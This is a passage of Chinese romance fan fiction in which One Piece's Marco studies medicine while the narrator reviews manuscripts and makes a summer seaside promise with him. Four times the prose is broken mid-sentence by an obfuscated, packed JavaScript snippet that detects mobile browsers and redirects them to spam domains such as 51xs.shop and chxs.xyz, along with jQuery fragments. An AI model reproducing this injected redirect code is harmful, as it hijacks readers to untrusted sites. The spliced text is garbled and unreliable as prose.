“不冷,”我摇了摇头,“你真的要看书吗?” “嗯?”他挑了下眉,想起点什么似得,问我,“要我陪你睡觉吗?” “……那也不用。” 算了,他喜欢看书就看书吧。 我都说了,万般皆下品,惟有读书高。 白炽灯明晃晃的,有点刺眼。马尔科伸手去关,我叫停他,不准。 他那只空空探出的胳膊绕回来摸我的头:“大小姐,打开你怎么睡觉啊?” “关了对眼睛不好。”我缩进被子里,不给他摸了。 “干什么,”他又把我捉出来,“捂着睡觉空气不好,快出来。” 我睡不着。我糟糕的睡眠质量经过马尔科的调整,有所好转,但还不足以和明晃晃的白炽灯作战。 我还是想缩回去,马尔科拦着不让。他要关灯,我也不许。 僵持下去也不是个办法。我爬起来翻出了压箱底的宝贝——前几年流行珊瑚绒卡通睡衣,卡卡西一眼相中了“粉红小海豚”款,特意排队给我买了一套。 我不想穿连体睡衣,这睡衣有一条硕大的毛绒尾巴,虽然颜色粉嫩,但走起路来摇摇摆摆,瞧着像个傻瓜。可是不知道为什么戳中了卡卡西的少女心,他非常喜欢,非常狡猾地选在了过生日把它送我当礼物。 礼物!太可恶了,卡卡西! 我不仅含泪着收下,我还得感谢他。 …… 往事不堪回首。 总之,这东西在我衣柜里压了几年,没想到还能在这时候起到了作用。 “大、大小姐,你要这样睡觉吗?”我一从浴室出来,马尔科就开始目不转睛地盯着我看。 笑声不时回荡在房间里,我忍无可忍,问他:“我看起来很傻吗?” “没有啊,怎么会,”他不笑了,清了清嗓,一改口风,“这么穿多可爱啊,粉粉嫩嫩的。” “……”果然,那就是很傻吧。 ——“你穿着多可爱啊,粉粉嫩嫩的!” 非要送给我的时候,卡卡西也这么说。 难怪卡卡西一见马尔科,就对他很有好感。或许这就是一种同频共振——明明我和卡卡西都是第一次见马尔科,但他们却会因为“共性”有天然的亲近。 我就没有,我连马尔科在笑我,我都不知道。 “地震了吗?”我缩回被子里,床突然开始抖,惊得我瞬间探出头来。 “没、没有,不是……”马尔科憋得脸都红了,索性不憋了,笑出声来,“哈哈哈,大小姐,你这扮相太可爱了!” 他忍俊不禁的样子瞧着比卡卡西还要痴迷。男人至死是少年,这句话居然是真的,连马尔科都不例外。 我本以为他温柔又体贴,性格平和稳重,人应该是最成熟的,符合我心目中宠辱不惊的成熟男士“刻板印象”。但是自打我穿上“粉红小海豚”,我就像身处地震中心一样,一直在摇晃。 马尔科乐不可支,笑得床都要散架了。 我该庆幸我们家住平房,否则,楼下邻居肯定要来投诉我们。 “……” 算了,我不跟他计较。 这件睡衣是坏蛋卡卡西的恶作剧,本来就很可笑,每年只在过年期间才会限时返场。现在我拿出来穿,是为了解决问题,而不是制造新的问题。 “我要睡觉了。”我跟马尔科说。 “嗯,睡吧,小海豚。”他笑着摸我头。 我不要熬夜,那会变丑。 帽子戴上就可以挡住全部光线,只留下下半张脸呼气。我躺好了,闭目假寐间,马尔科也躺了下来。我以为他要睡觉,转身抱了过去。哪知道他只是对我的毛绒装扮爱不释手—— 我的帽子里也有一部分毛绒填充,像尾巴一样蓬起来,形成了“海豚脑袋”。 他躺下来抱我,不过是让我趴在他身上睡觉,他可以把头靠在我脑袋上而已。 “你把我当抱枕吗?” “嗯,”他居然还“嗯”,“你不喜欢吗?” “没有不喜欢。” 我无所谓,随便,都行。 我只是隐隐觉得起初是我把马尔科当作抱枕,但后来……好像是我被马尔科当作了抱枕。 这件事是我猜的,我并不确定,也没听说过生理年龄三十岁、心理年龄四十多的成熟男士也有抱抱枕睡觉的习惯。我以为那是小孩子才会有的缺乏安全感的行为表现——马尔科缺乏安全感吗? 我不知道。 我只是意外发现每天晚上睡觉是我搂着他取暖,而早上醒来总是他箍着我,密不透风。所以无论怎么想,都觉得是我被当成了抱枕……果然是把我当抱枕了。 “睡吧,大小姐。” 马尔科没有要睡觉的意思。我等不了,先睡了。 然后他就一鼓作气,连熬两个通宵,等到周一开课,直接申请了五门理论课的提前结课考试。 …… 我跟着马尔科穿梭在各大教室,只是在考场外等待,都等得疲乏。 他考完却精神抖擞,大步流星走到我面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14210111|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一双眼睛炯炯有神:“等久了吗,大小姐?” “没有,”我牵他手。他敞开外套,拉我进去捂了一会儿。 “冷了吗?” “嗯。” 走廊里人来人往,马尔科视若无睹。 “刚才听到老师聊天,说是医学院的老教授回来了,要开新课……他讲的那些东西我都没听说过,”他跟我谈起未知领域,又是一番跃跃欲试的姿态。 “……”我听见了,但我无话可说。 马尔科太离谱了。他真的太离谱了。 难怪一套基础简单的学院装,他生生能穿出教授的气质……马尔科好优秀啊! 他不是高材生,高材生不像他这样,校园文的顶级学霸也不是他这样的—— 我必须更正我的观点:海贼世界文化素质普遍低下跟我们家马尔科毫不相干,我们家的马尔科可是一个先天读书圣体! “要我去找校长吗?” “不用,就是正常的课,”他笑着,勾着我后背的手臂收紧了些,“我下午跟助理说一声就好。” “嗯,”我也笑着,“那你自己处理吧。” “好。” 得益于办事处的鼎力相助,现在马尔科可以无视教务系统规则的束缚,只按照他个人的情况安排学习进度。办事处下达了“全力配合”的指令,学校也安排了专人负责跟进。 马尔科的一切课程安排都不再经过教务系统,而是直接和学校里负责对接办事处工作的专员商量。他可以随意退换课程,任何要求只管提,专员会负责协商和解决。 至于两率一分—— 前者酌情处理,数据均为百分之百;后者应我要求,马尔科考多少算多少。 和聪明人交流就是方便,学校的事他自己会处理,生活的事他自己也会安排。 我这个管理员乐得清闲,思来想去,能做的也只剩下尽量不耽搁他的学习时间,多配合他的学业。 我说了,不是他听我的,是我要听他的。 首先要早睡早起。 回旋镖终于还是打到了我的身上: 在过去的若干年里,我每次睡大头觉时都质疑修兵有什么必要起个大早?而现在,质疑修兵,理解修兵,最后我也成为了修兵。 感谢医学院,执着地把每一门课都安排在早八。 为此,入冬一个月了,我再也没有睡过一次懒觉。 从我家到学校得走上半个小时,考虑到我们还要去食堂吃早饭、要提前十五分钟到教室占座、要留给我一些收拾打扮的时间……实际上,我们每天六点二十分就要起床,而修兵都才六点四十分起! 质疑修兵、理解修兵、成为修兵、超越修兵——回旋镖二次打在了我身上。 “早啊,大小姐,”每天早上,修兵都会打着呵欠和我打招呼。 “早,修兵。”我已整装待发,要和马尔科一起去上课了。 “每天都是早八吗?”修兵也发出了和我一样的疑问,“这跟上班有什么区别,医学生也太惨了吧。” “……”可是每天都是早八,该死的医学院,每天都是早八!!! 我不敢说,不忍打击马尔科的积极性。 他那么温柔,要是我说了,他肯定会为我考虑,说什么“其实少上一两节课没关系”,然后理直气壮地不那么积极参与上课了。 这可不行。课必须要上。好不容易才争取到的课程,我们没有理由缺席。 我只能用眼神回应修兵的疑问。 ——“该死的早八!!!” 他当然懂,目光交汇,修兵了然一笑。 ——“快去吃饭吧,吃了饭心情就好了。” 修兵所言在理,我应该往好处想,早起可以去食堂吃早饭。吃饭和读书一样重要。 走在路上,我略一琢磨: 马尔科读书期间我们改吃食堂,流水走我的办事处账户,不涉及家里的现金流。过去一个月我们家的公共开销几乎为零。按照这个趋势发展下去,只要我俩在食堂吃上几个月,家里捉襟见肘的经济状况就会扭转,一旦信用卡的窟窿补上,修兵肩上的摊子也会大幅度减轻。 所以“早八”不是一个问题,而是解决我们家经济问题的途径。 俨然天上掉馅饼的好事,坚持就是胜利,燃起来了! 23.12 积极(2) 我绝不会成为马尔科前进路上的绊脚石,区区早八,我比他还积极。 “快点快点,马尔科!” “嗯?”他惊奇不已,“怎么还催起我来了?” “吃饭不积极,思想有问题!” “哈哈哈,”马尔科歪着头笑,“大小姐,这是什么梗吗?不像你会说的话。” “是的,”他好聪明,我点着头肯定,这的确不是我会说的话,“我学来的。” “哪里学的?” “小说里面。” “哈?”马尔科愣了愣,“什么小说会出现这种台词?” “是最近开始连载的校园文,”这文很好看,是那种我会连夜追的好看,我忍不住对他安利,“女主角是一个充满大智慧的美少女,非常有人格魅力。因为太聪明了,太了解世界的本质,所以有点厌世,日常没有精神,什么也不关注,最在乎的事情是吃饭——这是她的口头禅。” 马尔科比我想象中更有兴致。听了我的介绍,当即忍俊不禁:“噢……校园文是什么,你看的不是写两个人谈恋爱的小说吗?” “是的,”我不否认,“校园文就是恋爱背景在校园的小说,是一种类别。” “这样。那男女主角都是学生吗?” “只有男主角是。” “他是怎么样的人?” “是一个很会读书的学霸,心细如发,很会照顾人……” 男主角性格极好,虽然是学生,但有极其稳定的内核。 他在我眼里的“人设”温润如玉,感情上温柔体贴、思维上自由浪漫、行动上积极勇敢……已经有许多优点了,最可贵的是他历经重重苦难,内心仍然向往着光明,并且自反不缩,虽千万人吾往矣。 “近年来的小说中很少出现这样富有人格魅力的角色,”我侃侃而谈,“真的好好看!” 马尔科的脚步忽然停了下来。 他斜了我一眼,似笑非笑:“那你觉得……他们般配吗?” ——这是什么怪问题? 这文可是主打互相救赎、共同成长的“治愈甜文”!不般配能行吗? “当然了!”我不假思索,斩钉截铁,“女主角也很有魅力,优秀才会互相吸引——他们非常般配。” 马尔科勾了勾唇角:“嗯,我也觉得他们非常般配。” 我从来没有想过马尔科会对这种事情感兴趣。 从家到学校要走三十分钟,平常我们并不聊天。我不知道要和他聊什么,我也并不是一个擅长聊天的人。早出晚归,天气也异常清冷,风吹着像刀子刮在脸上,不适合说话。 通行的道路康庄笔直,但总是沉默。 只有今天例外。 马尔科问我小说,我忍不住跟他多说了一些。 我很喜欢这本小说,因为女主角性情清冷寡淡,感情甚少,全是理性,比起市面上最流行热情开朗纯感情流女主角,这一位更对我的脑回路。我能很轻松地理解到她的想法,行文看起来很轻松。 说起来这本小说还是我推介的—— 前阵子无聊,我不想打扰马尔科上课,又不能联系在外出差的卡卡西,只好拿出手机给修兵发消息。 “修兵,你在忙吗?” “正想找你,”修兵秒回,“有空吗,帮我校对一下稿子,忙不过来了。” 我想问修兵这个月的稿子有没有审核完,如果没有审核好,我正无聊,可以帮他审核。 ——不愧是修兵,永远都这么默契。 “交给我吧!”我给他发个表情包。 “拜托你了!”他也给我回了一个。 我的老年机不兼容最新流行软件,只有最基础的电话、短信和邮箱。 我果断登录了修兵的工作邮箱。系统提示,过去一周,收件箱里有九十九封新邮件。 “要是有人投稿,也顺便帮我筛一下,”修兵跟我说,“我手下的助理被调去美食组帮忙,我还在新闻部,这个月文学部都没有人管。” 文学部是修兵的初心。 眼下他人在前线作战,后院可千万不能失火。 我懂:“那还是老样子吗?” “嗯,”他答,“老样子,交给你了。” 好吧。既然如此,那我就全权接手了。 从前他应接不暇,我也经常帮他做些力所能及的工作——说起来是工作,实际上就是看小说。 看小说谁不喜欢? 杂志社每周都有新刊发送,文学部还分连载作品专用的半月刊和月刊。大型刊物的排版有固定格式和讲究,连载作品的质量也有保证。 修兵所谓的“校正稿子”,只是让我再检查一次错别字。他们已经检查过了,只是让我再检查一次。这种工作毫无难度,我非常乐意帮忙,这样就可以提前一个月看到新的连载小说了。 我最讨厌麻烦,但是修兵的话,就不麻烦了。 邮箱里有“自动回复”的勾选,修兵早早设置好了。他自己不用,只有我不方便打字,有所需要。我心领神会地勾上,开启回复说明“本月工作繁忙,若有不明之处,可回信咨询”。如此一来,我就可以直接以他的名义处理。 校正就是单纯看小说,筛选的话稍微麻烦点,但说到底也是看小说。 修兵性格认真,行事谨慎,而且特别努力,是当之无愧的“卷王之王”。筛选小说本是他做助理时的工作内容,升为主编后,本可以全权交给手下人处理。但以防助理经验不足,万一错失了才能出众的作者,在编辑部筛选工作由助理全权负责,回到家里他还会在睡前抽空浏览一次。属实没有时间,就交给我做。 这活我能做。 筛选小说靠的是阅历。无他,唯熟手尔。只要书龄足够,一眼就能定生死。 筛选一年,真正写得好的或许也不超过十本——我已经很得心应手了,看得很快。也不需要点评,一口气拒绝了三十篇投稿,正要退出邮箱,无意间在“已读未回”的角落里揪出来这一本。 “……别人都是发成稿,这个作者发来十几万字的大纲。设定很巧妙,逻辑性极强,不是那种常规的感情流写法,这些年都很少见的正剧风格。” 最近几年,文学圈流行校园文。 时尚是个圆圈,前几年最流行写勾心斗角的商战。但自从出现了“知名企业家商战,半夜潜入对手公司,用开水浇死其公司发财树”的新闻以后,舆论的风向发生了变化,流行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233786|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的趋势也回退到了青春。 但是青春——又无非是上课下课、上学放学,题材上有一定的局限性,大部分作品都因为局限写得殊途同归,看多了便了然无趣。 “……这一本在投稿修兵的邮箱之前,据说被退回了很多次。不是主流的风格,会有风险,别处都不愿意接受。但我看完提纲,真的觉得非常有潜力,推介给修兵,他也这么认为!” 所以他们文学部破例留出了一块热门板块,特意帮作者推文。 修兵去签了代理版权,想把这位打造成杂志社旗下的“明星作者”。 “现在才刚开始发行,老读者们还不习惯这种风格。再等一等……假以时日,这文一定火!这一对真的非常般配!特别特别好嗑!” 我知道剧情,领先了诸多版本,我真的很懂,安利得真情实感,天地可鉴! 马尔科听我分享,一直面带微笑。 “原来你还在帮修兵审稿啊?”他惊叹不已,看向我的目光全是赞叹,好像我在做什么了不起的事情一样,“我还担心你跟着我上课,每天坐在教室里会不会太无聊……” 我就知道他是那种很体贴的人,全然不在乎自己上课辛不辛苦,反而担心我无不无聊。 “没有无聊,”我不认为这种小事应该成为他学习路上的困扰,果断摇头,“教室里很暖和,看小说很合适。” “是吗,”他笑着舒了口气,“那就好,要是觉得待在教室里太闷……就跟我说啊大小姐。” “好的,”我答应他,虽然我不以为意。 我们到了。 再漫长的早八之路也终有抵达的时候。而且一旦聊起天来,时间似乎比寻常流转得更快。起初或许存在的无聊,一旦经受时间的雕琢,就会开始变得有趣起来。 学校是个好地方,上学的好处颇多。 马尔科的名字不在教务系统内,也不参与点名和小组作业。他来学校只是上课,不受其他干扰。 我们每天都雷打不动地选择最后一排靠窗的位子。我不用和陌生人接触,身边坐着马尔科,身后是立式空调。教室里人多,空调一吹,不知道比家里暖和了多少倍。 这很好,电费水费一并省了,进一步降低了开销。 我喜欢学校,各种意义上的喜欢。 只要马尔科和我一起,我想无论去哪里都和在家别无二致。无非是身处的地方长得不那么像家而已。 吃过早饭,我们去教室坐好。马尔科开始上课,我开始登录修兵的邮箱,继续看小说。 小说写到关键的地方,马上要进入暧昧期了。爱情小说里最值得阅读的部分就是反复拉扯的暧昧期,这文的男女主角又同为高智商人设,以作者前期布设的技巧而论,之后的拉扯一定很精彩。 我非常期待,看得全神贯注。连下课铃响都视若罔闻,等我从手机里抬起头时,满座的教室忽然变得寥寥无几,马尔科还在我边上,却没有看书,反而看我。 他从来都是闷头学习的人,这样看着我,让我感到十足的反常。 “学累了吗?”我放下了手机,“要不要出去走走?” “在看风景,”马尔科托着腮帮,懒懒地和我说,“很迷人哦!” 24.12 积极(3) 风景……我扭过头望向窗外,极目一片萧瑟。 远山和浓云连成一体,雾蒙蒙的天色显出了十分的寂寥。混沌中充斥着无序的灰暗,没有前后,亦无古今。那里甚至没有时间的流逝,冬风簌簌地吹,连风也悄然无声。 我并不觉得那有任何“迷人”之处。金色的秋叶业已落尽,徒留光秃秃的枝干。 天气很冷,连视野都褪去颜色的话,天地只会愈发荒凉。 ……马尔科居然喜欢这种类型吗? 我不是他,理解不了他的喜好。点了点头,没有接话。 转念间,我想到如果马尔科会喜欢这种写意的感觉,那他除了卡卡西,或许也跟修兵聊得来——修兵真的很懂“写意”,这样的场面他一定会瞬间真情实感地融汇其中,开始俯仰天地,觉察万物。 而我和卡卡西只会说“好冷哦”——我俩没什么感性的细胞,他比我还好上一点点,我是完全没有。 我从来话少,因为我真不会聊天。 我的小说还没有看完。既然无法感受他喜欢的风景,我问他:“如果你没事的话,我就继续看小说了。” “还看?”他挑了下眉,一口笑出来,“该吃饭了,大小姐。” “!” 原来是到点了啊,我后知后觉,难怪教室里的学生寥寥无几。 “那走吧,”吃饭重要,我不看了,收起手机,“吃饭要积极一点。” “真是的……大小姐,你慢点走。”马尔科牵着我,不急不慌地跟在后面。 学校告诉我们教室告急可能是真的:他们医学院排课特别极端,经常一排就是一整天。我们已经在同一个教室连续上了一周《病理学》了,下午还在这里。 天冷懒得散步。吃完饭,我们匆匆来回,不到半个小时,教室里却多出了一点别的东西。 原先布满板书的黑板被擦得一尘不染,上面赫然写着几排大字—— “给坐在最后一排的情侣:傻瓜姐妹,你是他心里最美的风景,他说他喜欢你呀!” “盒盒盒盒,上课好累,你们好甜(*^▽^*),祝百年好合。” “学霸X美女,嗑到了嗑到了!” …… 马尔科望着那一排字呆住了。 他看了看我,我也呆住了——什么?!还有这种事!CP在我身边,我没发现?! 教室里别无他人。我问马尔科:“有CP,你知道吗?” “呃……”他对上我的眼睛,却是一副欲言又止的姿态,支支吾吾好一阵也没回答出个所以然来。 ——那就是没看到了。也是,他上课认真,理应没有留意。 ——可是我应该看到才对啊!是CP啊!真的CP!不是书上的那种,是活生生的! ——怎么会这样!真实的CP就在我身边,而我居然没有嗑到! 这小说不看也罢。 下午开课,我认真留意着最后一排的落座——可是别人似乎不像我们,都不会寻找固定的座位。我连续观察了一星期,也没在最后一排见到那对传说中的CP。 等到下个星期,马尔科又告诉我,他要结课,我们要换教室了。 “好吧……”我缩进被子里,只好作罢。 “干嘛呀?”他把我抓出来,哭笑不得,“你干嘛呀,大小姐……一副要哭的样子,这么失望吗?” “是的,”我承认,“因为我不理解。” “哈?”他把书放下了,“什么不理解?” 天色很晚了,我没有说。 次日课余,我发现马尔科又在休息,才跟他讲—— “马尔科,你看着我——” “……嗯,然后呢?” 然后四目相对,我把手搭在他肩头,郑重道:“忘记那些过去吧,什么也别想,跟着我。以后都不会让你掉眼泪了——” “……”他愣着没有回话,一动不动地看着我,神情古怪,除了眼眸还会闪动,竟然连呼吸都忘记了。 “果然,”我就知道,这句话除了尴尬还是尴尬,一点都不浪漫。 在我看来,这句话毫无逻辑可言,又何谈浪漫? 什么叫“忘记过去”——过去是那种可以忘记的东西吗?人就算失去了记忆,吃过的食物、喝过的饮料,也会转化为身体的一部分,永远的成为这个人本身——怎么可能忘了?毫无道理可言! 而且整句话用对比和递进的手法,通过否定会流泪的过去,来反衬不会流泪的未来,其中的唯一变量是说话人本身,也即暗示了说话人本体是改变现状、带来幸福的核心因素。 ——这也是不对的。 首先,“人生”的主体只能是当事人自己,绝不可能是别人——没有人可以是别人人生的主宰。 其次,说话人这个“变量”只是自以为是的“唯一”,并非客观真实的“唯一”——人生和世界一样是错综复杂的宏大系统。人身在其中,无法窥知世界的全貌。很难说清到底是哪一只蝴蝶煽动翅膀,直接归因自己一定是夜郎自大。 再者,所谓“不流泪的以后”并不客观——没有人的人生可以一帆风顺,笑与泪都是生命里不可或缺的一环。客观因素并不因为主观认知而变化,非要视而不见,是偏执和自欺欺人。 最后,人由过去组成,割舍过去,否定过去,不也就等同于否定了这个人本身?试问一个人失去了本我,沦为别人的附庸。他或者她,还会有真正的“未来”吗? 每个人都有自己的想法,至少我不这样认为。 我认为这一整句话充斥着虚伪,枉顾客观事实,是非理性的宣泄,情绪化的产物。然而这种“情绪”本身——字里行间又不见丝毫的平等和尊重,只有高高在上的傲慢与偏见,以及自欺欺人的荒谬。 我想“浪漫”本质上不是非理性的偏执,而是一种理性的自由选择。 世界上天然存在着各种规则和束缚,但基于某种特定的理由,在衡量得失之后,明知不可为而为之,为此付出金钱、时间、精力……更有甚者,甚至付出了生命作为代价——这是一种“浪漫”。 它打破了理智的规则,超越了平凡和想象。 它不能是一种“弱智”,它要有起码的尊重。 ——而“忘记那些过去”,绝对不满足也不符合以上任何一点定义。 我根本不理解为什么这句俗气的对白会打败所有的诗篇,荣登“浪漫语录”排行榜榜首。甚至不是一次,是两次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14240472|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !连续两年荣登榜首! 我不理解!它究竟哪里浪漫?到底是谁在投票?是用脚投出来的吗? “……当然,这只是我个人愚见,我想知道恋人之间说这种话真的会觉得浪漫吗?” 作为旁观者,我绝对不能理解。我拽着他,要马尔科也谈谈自己的看法。 马尔科却只是看着我笑。 “那你觉得什么浪漫呢?”他问我。 “我得想想,”我暂停了这个话题。 “嗯,那你想,”不知道谁把空调关了,马尔科起身去开,调试着立柜的扇叶,也不再继续闲聊。 其实我不需要想—— 尽管修兵一直否认,但我仍坚定不移地怀疑这场投票在弄虚作假!有暗箱操作! 已经两年了,这件事我仍在耿耿于怀。那一句我认为最浪漫的话也一直铭刻在脑海,不曾忘怀。只是与“忘记那些,现在跟我走,以后我都不会让你再掉眼泪”需要在对方脆弱的时候说出一样,我喜欢的那句也需要一点特定的环境,不能毫无铺垫、太过直白地表达。 马尔科调试好空调,又坐回了我身边。 “想好了吗?”他偏着头问我。 “嗯,”我对上他眼睛,“马尔科,等到夏天,我们一起去看海吧!” “……哈?”他微微一愣。 “是不是很浪漫啊?”我已经笑起来了,“一起去探索没有见过的世界什么的!” “……”马尔科看着我,只是看着我,始终没有应答。 面面相觑,沉默里我灵光乍现:糟糕!他见过海啊,他就是海贼,和大海打了半辈子交道。对我而言的新鲜瑰丽,对他来说却只是司空见惯、不值一提的风景。 要说每天起床面对客厅——平平无奇的日常,我大概也不会想到“浪漫”这个词语。 …… 好吧。难怪他沉默了。念及此,我也沉默了。 算了,我放弃了。每个人都有自己独特的经历,认识不同不是过错,也不能强求。 “对不起……”我转过头,不说了。 耳边却传来一阵轻轻浅浅的笑。 “你没有见过海吗?”马尔科问我。 “嗯。” “那……”他欲言又止,“等到夏天,我们能一起去看海吗?” “……”我以为我听错了,蓦然回首,暖风吹动他柔软的金发。 午后的阳光穿透了雾霭,他在光里微笑,声音柔和,语调明朗。我当然是在教室里,但他大咧咧地笑起来,不是温柔恬静,自由和洒脱一改常态,扑面而来。恍惚间会让我感受到金色的沙滩和雪白的海浪,海风咸咸的夹杂着一股潮意……它们向我奔来,我也情不自禁想要上前一探究竟。 真的很浪漫。即便暖风时有时无,阳光也会斑驳闪烁。 而他的头发也并不总是热烈飞舞。 “怎么不说话?”马尔科牵起我的手,“不会吧?大小姐不想和我一起去看海吗?” “——我没有!”他乱讲,我捂住他的嘴,不许他乱讲。 我才没有拒绝,我也没有不想,我只是觉得…… 太奇妙了,这个隆冬才刚刚开始,我却在期待来年夏天的艳阳。 25.13 勇敢(1) 世界上真的有人能拒绝“等到夏天就一起去看海”的邀请吗? 我反正不行。毕竟它那样浪漫—— 不需要“忘记那些过去”,没必要“忘记那些过去”,过去已经过去了,随便都好。时间在前方招手,生动新鲜的人事物在那里等待邂逅,不妨去回应那些召唤——结局好坏无关紧要,重要的是身在其中,永远前行。 这多浪漫啊!连我这种没什么感性细胞的人都忍不住地心驰神往。 所以两年前的那场投票肯定有黑幕!“一起去看海”才应该是无冕之王! 没有人可以拒绝的,没有生命甘愿停滞。我甚至会希望它是真的,不是测试和玩笑。 “真的要和我一起去看海吗?”我问马尔科。 “真的啊,”马尔科点着头,他笑起来很有夏天的味道,“怎么了,大小姐?” “没怎么。” 我只是觉得如果他是真的邀请,那我的回答不够正式。 我想重新回答一次,赶在上课前,我握住马尔科拿笔的手腕,让他别看书,先看看我。 “马尔科……” “嗯?”他转回头,一见我就笑,“到底怎么了?怎么这样叫我啊……” 我没有怎么叫他吧?我不知道。我见他笑盈盈的,眼睛清澈明亮,会想到晴朗夏天的夜晚,夜空中的星也像这样莹莹闪耀。 我更期待那样的星空了,郑重地跟他说:“等到夏天,我要和你一起去看海。” “……”马尔科愣了愣,回神又一次忍俊不禁,“啊,就和我说这个?” “嗯,是的。”我点着头,却愈发把他惹笑。 “好,知道了大小姐,等到夏天我们就一起去看海,”他拿笔的手丢了笔,转而摸起了我的头,“大小姐只管吩咐就好了,我都记着,不用刻意再跟我说一次。” “可这是我的态度。”我和他强调。 他勾着唇角:“是是,是态度,那大小姐还有什么吩咐吗?” “没有了。” “真的没有了?” “真的没有了。” 老师来了,马尔科该上课了。上课时间不能闲聊,一些琐事不聊也罢。反正我们都已经说好了:等到夏天就一起去看海! …… 我记性不好,容易忘事。我怕我把这件重要的事情忘记了,当晚回家我连忙打开我的小本子,把夏天要和马尔科一起去看海的约定郑重地写在纸上。 一周后才刚到冬至,别说夏天了,就是距离夏至都还有好长、好长、好长一段时间! 我愁眉苦脸地趴在床上数天数,马尔科哈哈笑我。 “大小姐。” “嗯?” “真的这么期待看海吗?” “嗯。”我不瞒他,反正也瞒不住,都叫他瞧见我写小本本了。 我准备迎接他有如暴雨一般的嘲笑,但他却只是把他爱不释手的专业书放下,缩回了被窝里。闷闷的笑声在我头顶荡开时,只像轻风细雨一样和悦。 好像不是嘲笑?我不确定,偏头看向他时,只看到他干净却躲闪的眼睛。 我被马尔科一把抓进了被窝里。 没有狂风暴雨,只有春风拂面。 “那我们早点睡吧,睡醒了就离夏天更近一点了。” “好主意,但是你今天不看书了吗?” “今天不看,”他不急不慌地掖着被角,顺便问我,“大小姐,我总觉得你一到学校就不怎么说话了……是因为担心打扰我学习吗?” “是的。” “但这样的话……每天都说不上几句呀?”马尔科满是感慨。 我好像听出一点言外意,但我不确定,我抬起头问他:“你想跟我说话吗?” “当然了,”他笑着,信誓旦旦,“要多和大小姐聊天才行啊……” “好啊,”我也笑起来,“那你想聊什么?” 马尔科好体贴啊,学习那么辛苦,还要分心照顾我的感受。 他人真好。我缩进他臂膀里,抱住他的腰。头枕着他胸口,总能听到他怦然有力的心跳声。 我喜欢这个声音,回荡着充满生机。 “大小姐。” “嗯?” “下次别趴着床上写日记,我一不小心就会看到。” “那个不是日记,”我想他误会了,这有必要解释,我从被子里探出头来,“马尔科,我记性不好,重要的事我得写下来。你看到也没关系,看到更好——如果你记得住,你提醒我。” “能有多不好?你这么年轻,”他胳膊揽着我的后腰,人笑着,掖了掖被我顶开的被角。 “真的。” “那你张嘴,让我看看。” 我不明白,但我张嘴。 马尔科不知道从哪里摸出来一只小电筒,照着我的口腔。他捏着我下巴看了一会儿,忽然问:“大小姐,你有二十岁吗?” “……!”我愣住了,“你怎么知道!因为牙齿吗?” “嗯,前阵子不是刚学过快速鉴定吗。” “……是喔!”我恍然大悟。果然,马尔科相当聪明灵活,很会学以致用。 前阵子他上了一门医学鉴定理论课。各行各业都存在类似的课程,会基本介绍本职业该如何配合办事处工作。作为医学生,配合的方向除了基础治疗,还有伤痕鉴定、身体特征分析……其中讲到了通过牙齿磨损程度来分辨人的年纪。 不过理论只是理论: 办事处的工作内容需严格保密,有大量能力者参与,几乎不需要普通人“配合”;即便工作时的确通过牙齿磨损辅助测试身体年龄,也会使用全自动化仪器,不需要人工,我还从没有见过有人真用肉眼分辨。 马尔科也就上了短短几节课而已,怎么能判断地如此精准——他是不是什么学医的天才啊? 我沉浸在震惊里不可自拔。 那门课提及许多次“办事处”,马尔科可能听不懂,所以我也有在听。 这门课的老师很注重互动,学到牙齿磨损的时候一连三堂课都在现场点学生做判断。马尔科的名字没有上花名册,自然没有被点到过,没有接受实验,但医学院的佼佼者齐聚一堂,三堂课被点到的学生里能答对的寥寥无几。 他真是好厉害呀!无论多少次,我都会因为马尔科的专业性惊艳到。 但他本人对于这件事似乎并不在意。 马尔科很快关了小电筒,又抱住我,再和我说话时语气有点难言的落寞:“……你才二十呀。” “不到二十。”我纠正他的措辞。 “还不到?”他瞪圆了眼,“那你成年了吗?” “成年了啊—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14262773|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 我当然成年了,我可是货真价实的大人。 ——但马尔科那种惊讶的口吻是什么意思? 我不理解:“你是在嫌弃我年纪小吗?” 